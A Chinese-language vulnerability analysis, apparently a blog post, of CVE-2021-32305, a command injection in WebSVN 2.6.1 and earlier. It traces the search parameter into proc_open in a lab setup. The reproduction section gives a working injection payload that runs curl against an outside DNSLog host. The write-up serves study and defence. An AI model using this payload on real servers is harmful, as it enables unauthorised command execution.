目录

CVE-2021-32305 Websvn RCE 简单分析

简介

WebSVN是一个基于Web的Subversion Repository浏览器。它将Subverion的各种功能操作通过Web界面提供出来。通过它,可以看到任何给定版本的任何文件或者目录的日志,并且可看到所有文件改动、添加、删除的列表。

漏洞描述

该漏洞源于没有对search.php?search=参数进行严格的过滤,导致参数被带入prox_open中执行,造成命令注入

影响版本

1
WebSVN <= 2.6.1

环境搭建

本次测试是在vulfocus靶场上测试 可通过以下命令进行拉取docker

1
2
docker pull 1933pika/cve-2021-32305
docker run -d -p 80:80 1933pika/cve-2021-32305

漏洞分析

WebSVN源码:https://github.com/websvnphp/websvn/releases/tag/2.6.0

我们在search.php中搜索search参数,如下:

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/84537782-cb0b-8acb-c601-737d68c410ff.png

会先判断search是否为空值,否的话参数会传入showSearchResults函数中,跟进该函数

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/204903e5-338f-78cc-54da-5621f113bb7e.png

变量$searchstring即为原先的search,发现会继续传入到getListSearch函数中,然后继续跟进

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/41a594dd-15e2-f9a1-d451-96be0870c32f.png

getListSearch函数中,可以看出$searchstring会在1085行中进行拼接,然后先传入svnCommandString中进行操作,然后赋值给$cmd,然后将$cmd传入到_xmlParseCmdOutput函数中,接下来先跟进到_xmlParseCmdOutput函数中

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/4d42943c-ae84-c4c6-e8c7-0934e7d6d871.png

发现$cmd会传入到runCommand函数中,然后继续跟进

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/b39b7c59-be5e-5411-257d-7c71f86fc30c.png

变量$cmd先会被进行检测是否有'>‘和’|',然后作为参数,放入到proc_open中执行命令

proc_open命令详解如下:

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/8aaa65ce-9e53-2c42-f98e-96e58b62e455.png

自此$_GET["search"]会被当做命令执行,然后回过头来分析svnCommandString函数,看对变量$searchstring做了什么操作

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/1d357c8f-e07d-4c85-64bf-7c949eda6e6e.png

发现只是对$command变量进行了一下拼接,没有额外的过滤

最后进行一下简单的总结,$_GET["search"]传入后,没有经过太严格的过滤,然后传入到proc_open中去执行命令,导致命令注入。

漏洞复现

访问80端口,在url中输入以下内容去执行命令:

1
/search.php?search=";curl xxx.dnslog.cn;"

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/aea1bf05-929b-3e74-a0fc-40156889fd94.png

DNSLog有回显,命令成功被执行

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/f267ddad-b7c1-63a6-6c4e-dcb294d743d7.png